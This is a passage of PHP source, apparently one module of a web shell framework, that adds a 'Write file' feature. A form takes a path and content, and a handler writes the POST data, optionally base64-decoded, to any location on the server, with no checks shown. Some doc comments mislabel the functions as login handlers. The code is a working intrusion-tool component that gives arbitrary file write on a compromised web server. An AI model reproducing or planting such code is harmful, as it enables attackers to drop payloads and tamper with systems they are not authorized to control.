$feature["op"] === $page)); $page_content = __PREFIX__makePage( $features, $css, $page, [__PREFIX__makePageHeader( $feature[0]["title"], $feature[0]["description"] ), __PREFIX__makeForm( $page, $_SERVER["REQUEST_URI"], [__PREFIX__makeInput( "text", "Path", "__PARAM_1__", "C://path/to/file.txt", "Fully qualified path where the file will be written.", true ), __PREFIX__makeInput( "textarea", "File content", "__PARAM_2__", "Lorem ipsum dolor sit amet, consectetur adipiscing elit.", "Content of the file to write to disk.", true ), __PREFIX__makeCheckbox( "__PARAM_3__", "Decode from base64", "Decode the content of the file from base64 before writing it to disk." )] )] ); } /** * Handle the login operation * * @param $operation string The operation to handle * @param $features array{title: string, description: string, svg: string, hidden?: bool, op: string}[] The features * * @return void */ function __PREFIX__handleWriteFile($operation, $features) { $filename = $_POST['__PARAM_1__']; $should_decode_from_b64 = __PREFIX__isCheckboxActive("__PARAM_3__"); $content = $should_decode_from_b64 ? base64_decode($_POST['__PARAM_2__']) : $_POST['__PARAM_2__']; echo "Received content of length " . strlen($content) . " bytes."; echo "Writing to " . htmlentities($filename) . "..."; flush(); file_put_contents($filename, $content); echo "File written successfully."; } /** * Hook the features to add the login feature * * @param $features array{title: string, description: string, svg: string, hidden?: bool, op: string}[] The features * container * * @return void */ function __PREFIX__fileWriteHooksFeatures(&$features) { global $WRITE_FILE; $features[] = ["title" => "Write file", "description" => "Write a file to the given path, writing permission are required.", "svg" => ' ', "op" => $WRITE_FILE]; } // section.functions.end // section.hooks add_hook("features", "__PREFIX__fileWriteHooksFeatures"); add_named_hook("GET_page", $WRITE_FILE, "__PREFIX__makeWriteFilePage"); add_named_hook("POST_operation", $WRITE_FILE, "__PREFIX__handleWriteFile"); // section.hooks.end